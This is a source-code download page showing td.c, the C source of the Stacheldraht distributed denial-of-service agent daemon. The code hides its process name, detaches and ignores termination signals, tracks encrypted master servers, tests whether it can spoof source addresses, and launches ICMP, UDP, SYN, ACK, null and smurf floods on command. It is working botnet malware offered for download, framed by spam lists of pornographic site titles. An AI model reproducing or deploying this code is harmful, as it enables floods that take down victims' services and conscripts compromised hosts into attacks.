亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? td.c

?? 攻防自衛 ddos stachel-yps.tar.gz
?? C
字號:
/*  stacheldraht flood network daemon  by randomizer    based on mixter's tribe flood network daemon code*/#define _BSD_SOURCE#include <strings.h>#include <string.h>#include <stdlib.h>#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/ioctl.h>#include <time.h>#include <unistd.h>#include <netdb.h>#include <netinet/in.h>#include <netinet/in_systm.h>#include <netinet/ip.h>#include <netinet/ip_icmp.h>#include <netinet/tcp.h>#include <arpa/inet.h>#include <fcntl.h>#include <signal.h>#include "config.h"#include "tubby.h"#include "control.h"#include "syn.c"#include "udp.c"#include "icmp.c"#include "blowfish.h"/* smurf or not ? */#define MSERVERFILE "mservers"#include "mhosts.h"/* crypt value for the masterserver file */#define ENCRYPTVALUE "randomsucks"/* check every 5 seconds if the masterserver is alive */#define CHECKTIME 5/* seconds the next distro is allowed */#define DISTROTIME 100/* maxtime a flood is allowed to run */#define MAXTIME 30*60 // 2 hours ;)/* progname */#define PROGNAME "ttymon"/* port to wait for commands */#define COMMANDPORT 65000struct mserver{ int servername;};struct ippkt{ struct ip ipi; struct icmp icmpi; char buffer[1024];}pkt;/* random's new variable crap */char buffer[2000];struct mserver mservi[20];struct in_addr amanda;FILE *fili;struct ippkt packet;int listensocket;int noconfigfile=1;int servcounti=0;int counti=0;int received;int abortit;int serverworks;int timeend;int usedefault;int floodruns;int floodtime;int endtime;int distroallow=1;int distroend=0;int maxtimiend=0;/* important global variables */int WAITTIMER = 10; int spoofing = 0;char *encrypt_string(char *, char *);char *decrypt_string(char *, char *);int resolv(char *host,long *ipaddr) {        if (isdigit(host[0])) {                *ipaddr=inet_addr(host);                if (*ipaddr==-1) return -1;        }        else {                struct hostent *hp;                if ((hp=gethostbyname(host))==NULL) {                        fprintf(stderr,"tc: unknown host\n");                        exit(-1);                }                *ipaddr=*(unsigned long *)hp->h_addr;        }        return 0;}int returnlocalip(){ char asd[255]; u_long ip;// return(inet_addr("139.92.137.113")); gethostname(asd,255); resolv(asd,&ip); return(ip);}int spooftest() { #define timeout 10; fd_set fdset; struct timeval timi; int endtime; /* start of the spoof test */ /* setup new socket to wait for mserver reply */ listensocket=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); timi.tv_sec=1; timi.tv_usec=0; /* send a spoofed icmp packet*/ rawsock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt (rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof ("1")); icmp2(serverworks,inet_addr("3.3.3.3")); close(rawsock);  /* set the end time (maximum delay) */ endtime=time(NULL) + timeout; /* wait for the masterserver reply */ while (time(NULL) < endtime) {  FD_ZERO(&fdset);  FD_SET(listensocket,&fdset);  select(FD_SETSIZE,&fdset,NULL,NULL,&timi);  usleep(100);  memset((void*)&packet,0,sizeof(struct ippkt));  if (FD_ISSET(listensocket,&fdset)) {   /* read data from listen socket */   read(listensocket,(char*)&packet,sizeof(struct ippkt));   /* was it the spoof reply */   if (ntohs(packet.icmpi.icmp_hun.ih_idseq.icd_id)==1000) {    close(listensocket);    return 0;   }  } } close(listensocket); return 3;}void delmserver(char *mserverip){ FILE *fili; char *pointi; char mservbuffer[10000]; char decbuffer[10000]; char *dstpointi; struct mserver *mpointi; long filesize;  memset(decbuffer,0,sizeof(decbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); if ((fili=fopen(MSERVERFILE,"r"))==0) return; fseek(fili,0,2); fgetpos(fili,&filesize); fseek(fili,0,0); fread(mservbuffer,filesize,1,fili); fclose(fili); strcpy(decbuffer,decrypt_string(ENCRYPTVALUE,mservbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); mpointi=(struct mserver*)&mservi; pointi=(char*)&decbuffer; dstpointi=(char*)&mservbuffer; servcounti=0; while (1) {  if (*pointi=='\0') break;  memset(mservbuffer,0,sizeof(mservbuffer));  dstpointi=(char*)&mservbuffer;  while ((*pointi!=' ') && (*pointi!='\0')) {   *dstpointi=*pointi;   dstpointi++;   pointi++;  }  pointi++;  *dstpointi=0;  if (strcmp(mserverip,mservbuffer)!=0) { //  strcpy(mpointi->servername,mservbuffer);   mpointi->servername=inet_addr(mservbuffer);   servcounti++;   mpointi++;  } } addnewmserver(NULL);}int readmservers() { FILE *fili; char *pointi; char mservbuffer[10000]; char decbuffer[10000]; char *dstpointi; struct mserver *mpointi; long filesize; memset(decbuffer,0,sizeof(decbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); if ((fili=fopen(MSERVERFILE,"r"))==0) return(0); fseek(fili,0,2); fgetpos(fili,&filesize); fseek(fili,0,0); fread(mservbuffer,filesize,1,fili); fclose(fili); strcpy(decbuffer,decrypt_string(ENCRYPTVALUE,mservbuffer));   memset(mservbuffer,0,sizeof(mservbuffer)); mpointi=(struct mserver*)&mservi; pointi=(char*)&decbuffer; dstpointi=(char*)&mservbuffer; servcounti=0; while (1) {  if (*pointi=='\0') break;  memset(mservbuffer,0,sizeof(mservbuffer));  dstpointi=(char*)&mservbuffer;  while ((*pointi!=' ') && (*pointi!='\0')) {   *dstpointi=*pointi;   dstpointi++;   pointi++;  }        servcounti++;  pointi++;  *dstpointi=0;//  strcpy(mpointi->servername,mservbuffer);  mpointi->servername=inet_addr(mservbuffer);  mpointi++; } return 1;}void addnewmserver(char *newmserver){ FILE *fili; char mservbuffer[10000]; char encbuffer[10000]; char scheisse[100]; char *pointi; int counter; memset(encbuffer,0,sizeof(encbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); fili=fopen(MSERVERFILE,"w+"); pointi=(char*)&mservbuffer; for (counter=0;counter<servcounti;counter++) {//  strcpy(pointi,mservi[counter].servername);  amanda.s_addr=mservi[counter].servername;  strcpy(scheisse,inet_ntoa(amanda));  strcpy(pointi,scheisse);  pointi=pointi+strlen(scheisse);  *pointi=' ';   pointi++; } if (newmserver!=0) {//  strcpy(mservi[servcounti].servername,newmserver);  mservi[servcounti].servername=inet_addr(newmserver);  servcounti++;  strcpy(pointi,newmserver); }  strcpy(encbuffer,encrypt_string(ENCRYPTVALUE,mservbuffer)); fwrite(encbuffer,strlen(encbuffer),1,fili); fclose(fili);}int checkalive(char *server) { int listensocket; struct ippkt packet; int timeend; /* setup new socket to wait for mserver reply */ listensocket=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); fcntl(listensocket,F_SETFL,O_NONBLOCK); /* contact the masterserver */ send_connect(inet_addr(server),6666,"skillz"); /* wait for the reply , about 10 seconds */ timeend=time(NULL)+WAITTIMER; while (time(NULL)<timeend) {//  bzero((void*)&packet,sizeof(struct ippkt));  usleep(200);  memset((void*)&packet,0,sizeof(struct ippkt));  read(listensocket,(char*)&packet,sizeof(struct ippkt));  if (ntohs(packet.icmpi.icmp_hun.ih_idseq.icd_id)==6667) {   serverworks=inet_addr(server);   close(listensocket);   return(1);  } }  close(listensocket); return(0);}void contactservers(struct mserver *servers) { int counter;  counter=0; while (counter<servcounti) {  if (serverworks==0) {   amanda.s_addr=servers->servername;   if (checkalive(inet_ntoa(amanda))) {    serverworks=servers->servername;    break;   }  }  counter++;  servers++; }}void getnewbin(char *user,char *address) {// removed, insecure/* char toexecute[200]; char text[200]; sprintf(text,"rm -rf %s",PROGNAME); system(text); #ifdef LINUX  sprintf(toexecute,"rcp %s@%s:linux.bin %s",user,address,PROGNAME); #endif #ifdef SOLARIS  sprintf(toexecute,"rcp %s@%s:sol.bin %s",user,address,PROGNAME); #endif system(toexecute); sprintf(text,"nohup ./%s",PROGNAME); system(text); exit(0);*/ return;}intmain (int puke, char **fart){  char buf[2048], target[256], answer[512];  struct ip *ipi = (struct ip *) buf;  struct icmp *icmpi = (struct icmp *) (buf + sizeof (struct ip));  char *p = (buf + sizeof (struct ip) + sizeof (struct icmp));  int lsock, i, whereami, port4syn = 0;  struct mserver defaultones[2]={MSERVER1,MSERVER2};  int endtime;  char user[100];  char commandbuf[5];  char *p2;  char *sick;  int socki;  int newsocket;  struct sockaddr_in socketmuell;  int clientlength=sizeof(struct sockaddr_in);  int tempi;  int useless;  FILE *fili2;    if (geteuid ())   exit (-1);  strcpy (fart[0], HIDEME);  lsock = socket (AF_INET, SOCK_RAW, 1);  close (0);  close (1);  close (2);    if (fork ())  exit (0);    signal (SIGHUP, SIG_IGN);  signal (SIGTERM, SIG_IGN);   signal (SIGCHLD, SIG_IGN);//  sleep(10); /*  socki=socket(AF_INET,SOCK_STREAM,0);  socketmuell.sin_port=htons(COMMANDPORT);  socketmuell.sin_addr.s_addr=htonl(INADDR_ANY);  socketmuell.sin_family=AF_INET;  if (bind(socki,(struct sockaddr *)&socketmuell,sizeof(socketmuell))!=0) exit(0);  close(socki); */  if (readmservers()==0) {/*   printf("no masterserver config found.\n");   printf("using default ones.\n"); */   servcounti=2;   usedefault=1;    contactservers((struct mserver*)&defaultones);//   strcpy(mservi[0].servername,defaultones[0].servername);//   strcpy(mservi[1].servername,defaultones[1].servername);   mservi[0].servername=defaultones[0].servername;   mservi[1].servername=defaultones[1].servername;  }  else contactservers(mservi);  if (serverworks==0) { /*  printf("\navailable servers: %i - working servers : 0\n",servcounti);   printf("[*] stacheldraht [*] installation failed.\n");    exit(0); */  }  close(listensocket); //  printf("\nfound a working [*] stacheldraht [*] masterserver.\n");   nospoof=spooftest();    endtime=time(NULL)+CHECKTIME;  fcntl(lsock,F_SETFL,O_NONBLOCK);  timiend=0;  while (1)    {      memset(buf,0,1024);      i = read (lsock, buf, 1024);      sick=p;      if (maxtimiend!=0) {       if (maxtimiend < time(NULL)) {        floodruns=0;        maxtimiend=0;        must_kill_all();        usleep (1000);       }      }      if (timiend!=0) {       if (timiend < time(NULL)) {        floodruns=0;        timiend=0;        must_kill_all();        usleep (1000);       }      }        usleep(200);                    if (floodruns==0) {       if (time(NULL) > endtime) {        amanda.s_addr=serverworks;        if (checkalive(inet_ntoa(amanda))==0) {         serverworks=0;//         printf("masterserver is gone, looking for a new one\n");         contactservers(mservi);        }        endtime=time(NULL)+CHECKTIME;       }       }       if (ipi->ip_p == 1 && icmpi->icmp_type == 0)	{	  whereami = i - (sizeof (struct ip) + sizeof (struct icmp)) + 1;	  switch (ntohs (icmpi->icmp_hun.ih_idseq.icd_id))	    {            case ID_SETPRANGE:             lowport=ntohl(*(int*)sick);             sick=sick+4;             highport=ntohl(*(int*)sick);             break;            case ID_SETUSIZE:             udppsize=ntohl(*(int*)p);             break;            case ID_SETISIZE:             icmpsize=ntohl(*(int*)p);             break;/*            case ID_DISTROIT:         REMOVED - insecure                           if (distroend<time(NULL)) distroallow=1;             if (distroallow==0) break;             distroallow=0;             distroend=time(NULL)+DISTROTIME;             p2=p;             while (*p2!=' ') p2++;             *p2=0;             p2++;             getnewbin(p,p2);             break;*/                     case ID_REMMSERVER:              /* convert stuff in network byte order to a string */             amanda.s_addr=*(int*)p;             delmserver(inet_ntoa(amanda));             break;            case ID_ADDMSERVER:             /* convert stuff in network byte order to a string */             amanda.s_addr=*(int*)p;             addnewmserver(inet_ntoa(amanda));             break;	    case ID_ICMP:	      if (floodruns) break;              if (*(int*)p!=0) timiend=ntohl(*(int*)p)+floodtime+time(NULL);              maxtimiend=time(NULL)+MAXTIME;	      myip = htonl (ipi->ip_dst.s_addr);	      fw00ding = 3;	      strcpy (fart[0], HIDEKIDS);              commence_icmp (p+4);	      strcpy (fart[0], HIDEME);              floodruns=1;	      break;#ifdef SPECIAL_VERSION            case ID_SENDSMURF:              if (nospoof!=0) break;              if (floodruns) break;              if (*(int*)p!=0)              timiend=ntohl(*(int*)p)+floodtime+time(NULL);              maxtimiend=time(NULL)+MAXTIME;              myip = htonl (ipi->ip_dst.s_addr);              fw00ding = 3;              strcpy (fart[0], HIDEKIDS);              commence_smurf (p+4);              strcpy (fart[0], HIDEME);              floodruns=1;              break;#endif	    case ID_SENDUDP:              if (floodruns) break;              if (*(int*)p!=0) timiend=ntohl(*(int*)p)+time(NULL);              maxtimiend=time(NULL)+MAXTIME;              floodtime=0;              myip = htonl (ipi->ip_dst.s_addr);	      fw00ding = 1;	      strcpy (fart[0], HIDEKIDS);	      commence_udp (p+4);	      strcpy (fart[0], HIDEME);	      floodruns=1;              break;	    case ID_SENDSYN:              if (floodruns) break;              if (*(int*)p!=0) timiend=ntohl(*(int*)p)+time(NULL);              tempi=*(int*)p;              fflush(stdout);              floodtime=0;              myip = htonl (ipi->ip_dst.s_addr);              maxtimiend=time(NULL)+MAXTIME;              floodruns=1;	      fw00ding = 2;	      strcpy (fart[0], HIDEKIDS);	      commence_syn (p+4);	      strcpy (fart[0], HIDEME);	      break;	    case ID_SENDACK:              if (floodruns) break;              if (*(int*)p!=0) timiend=ntohl(*(int*)p)+time(NULL);              tempi=*(int*)p;              fflush(stdout);              floodtime=0;              myip = htonl (ipi->ip_dst.s_addr);              maxtimiend=time(NULL)+MAXTIME;              floodruns=1;	      fw00ding = 2;	      strcpy (fart[0], HIDEKIDS);	      commence_ack (p+4);	      strcpy (fart[0], HIDEME);	      break;	    case ID_SENDNUL:              if (floodruns) break;              if (*(int*)p!=0) timiend=ntohl(*(int*)p)+time(NULL);              tempi=*(int*)p;              fflush(stdout);              floodtime=0;              myip = htonl (ipi->ip_dst.s_addr);              maxtimiend=time(NULL)+MAXTIME;              floodruns=1;	      fw00ding = 2;	      strcpy (fart[0], HIDEKIDS);	      commence_nul (p+4);	      strcpy (fart[0], HIDEME);	      break;	    case ID_STOPIT:              if (floodruns==0) break;              floodruns=0;	      must_kill_all ();	      usleep (1000);	      break;	    case ID_SYNPORT:	      port4syn = atoi (target);	      break;            case ID_DIEREQ://             must_kill_all();  removed, insecure//             exit(0);              	    default:	      continue;	    }	}    }  /* 1 != 1 */  return (0);}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久免费精品国产久精品久久久久| 精品国产乱码久久久久久老虎| 午夜日韩在线观看| 日韩毛片一二三区| 国产精品久久久久久久裸模| 国产亚洲短视频| 中文在线资源观看网站视频免费不卡| 精品国产乱码久久| 久久综合久久综合久久| 精品国产sm最大网站免费看| 337p粉嫩大胆色噜噜噜噜亚洲| 精品国产99国产精品| 久久综合色之久久综合| 久久久99免费| 国产精品日韩精品欧美在线| 国产精品乱码一区二区三区软件| 国产免费久久精品| 日韩伦理av电影| 亚洲一级二级在线| 老司机午夜精品| 国产麻豆成人传媒免费观看| 国产成人免费视频网站高清观看视频| 国产白丝精品91爽爽久久| 99热99精品| 欧美性色综合网| 日韩片之四级片| 久久综合九色综合97婷婷女人| 精品捆绑美女sm三区| 国产精品―色哟哟| 亚洲自拍偷拍av| 国内精品视频666| 91色乱码一区二区三区| 欧美精品在线一区二区三区| 日韩美女主播在线视频一区二区三区| 国产欧美一区二区精品性| 亚洲日本护士毛茸茸| 日韩黄色免费电影| 欧美无乱码久久久免费午夜一区| 欧美日韩视频专区在线播放| 日韩欧美国产综合| 亚洲裸体在线观看| 久久精品噜噜噜成人av农村| 99久久精品一区二区| 91精品国产欧美一区二区| 国产精品美女一区二区三区 | 国产在线精品一区二区 | 亚洲视频一区二区在线观看| 免费高清成人在线| 99久久777色| 日韩免费观看高清完整版| 夜夜嗨av一区二区三区中文字幕| 青青草国产精品亚洲专区无| 91在线观看一区二区| 久久综合九色综合久久久精品综合| 亚洲在线免费播放| 成人短视频下载| 欧美精品一区二区三区一线天视频| 亚洲女人的天堂| 成人性生交大片免费看中文网站| 69堂精品视频| 一二三四社区欧美黄| 国产aⅴ综合色| 精品福利av导航| 日韩综合在线视频| 91久久精品国产91性色tv| 国产区在线观看成人精品 | 亚洲午夜久久久久久久久电影网| 国产精品主播直播| 日韩一区二区在线免费观看| 亚洲伦理在线精品| 91免费看`日韩一区二区| 国产精品福利一区二区三区| 国产传媒欧美日韩成人| 精品福利一区二区三区| 国产自产视频一区二区三区| 日韩免费福利电影在线观看| 日韩电影在线看| 日韩欧美久久久| 精品一区二区三区免费播放| 欧美一级精品在线| 久久国产三级精品| 精品国产人成亚洲区| 国产综合色产在线精品 | 成人免费黄色大片| 国产日韩欧美精品一区| 国产福利一区二区三区视频 | 在线日韩一区二区| 亚洲午夜三级在线| 日韩一区二区中文字幕| 经典三级视频一区| 日本一区二区三区在线观看| 波多野结衣视频一区| 中文字幕一区二区视频| 91视频一区二区| 亚洲综合在线第一页| 51精品久久久久久久蜜臀| 国产真实乱对白精彩久久| 91精品国产高清一区二区三区| 日韩av电影天堂| 久久综合色一综合色88| 福利电影一区二区三区| 亚洲色图制服丝袜| 欧美高清激情brazzers| 国产综合色视频| 成人欧美一区二区三区在线播放| 在线观看一区二区视频| 美女精品一区二区| 中文字幕二三区不卡| 欧美主播一区二区三区| 久久国产视频网| 亚洲黄网站在线观看| 欧美一三区三区四区免费在线看| 国产一区二区三区视频在线播放| 国产精品国产三级国产普通话三级| 色拍拍在线精品视频8848| 日韩精品每日更新| 国产精品女主播在线观看| 欧美日韩不卡一区二区| 国产91精品一区二区麻豆网站| 亚洲精品高清在线观看| 精品国产一区二区三区av性色| 91视视频在线直接观看在线看网页在线看| 亚洲一区二区四区蜜桃| 久久精品一区二区| 欧美无砖专区一中文字| 成人精品一区二区三区四区| 天天综合色天天综合色h| 国产精品麻豆网站| 精品久久久影院| 欧美日韩成人在线| a亚洲天堂av| 国产精品一级在线| 美洲天堂一区二卡三卡四卡视频| 亚洲日本一区二区三区| 国产欧美日韩三级| 精品国产乱码久久久久久老虎| 一本一本大道香蕉久在线精品| 国产剧情av麻豆香蕉精品| 日韩中文字幕不卡| 亚洲高清视频的网址| 亚洲精品欧美激情| 国产女人水真多18毛片18精品视频 | 国产精品免费人成网站| 精品久久一区二区| 欧美电视剧免费全集观看| 欧美日韩精品是欧美日韩精品| 成人免费观看视频| 国产98色在线|日韩| 国产伦精品一区二区三区免费迷 | 樱花草国产18久久久久| 国产精品美女www爽爽爽| 国产日产亚洲精品系列| 国产三级久久久| 中文字幕av一区 二区| 国产午夜亚洲精品理论片色戒| 国产丝袜在线精品| 欧美国产1区2区| 中文字幕一区二区三区色视频| 国产欧美一区二区精品久导航 | 久久久久久久综合色一本| 日韩精品一区二区在线| 精品国产一区二区三区不卡| 久久久国产精品不卡| 国产三级精品三级在线专区| 国产精品久久久久影院色老大| 国产精品的网站| 亚洲激情六月丁香| 玉足女爽爽91| 欧美日韩成人综合在线一区二区 | 69精品人人人人| 欧美日韩免费一区二区三区视频| 色哟哟国产精品免费观看| 色综合久久天天综合网| k8久久久一区二区三区| 本田岬高潮一区二区三区| 91福利在线观看| 欧美亚洲综合网| 欧美日韩久久一区二区| 欧美一区二区日韩| 精品剧情在线观看| 久久精品这里都是精品| 欧美日韩一区二区在线观看视频| 日韩午夜精品视频| 精品国产99国产精品| 国产欧美日韩视频在线观看| 亚洲一区二区在线播放相泽| 午夜欧美电影在线观看| 奇米影视一区二区三区小说| 国产成人99久久亚洲综合精品| 99久久国产综合精品女不卡| 色婷婷av一区二区三区之一色屋| 欧美系列在线观看| 久久久久国产精品厨房| 亚洲欧洲另类国产综合| 亚洲专区一二三| 国产麻豆精品在线观看| 色综合视频一区二区三区高清| 欧洲色大大久久| 国产欧美日韩综合精品一区二区 | 91福利社在线观看|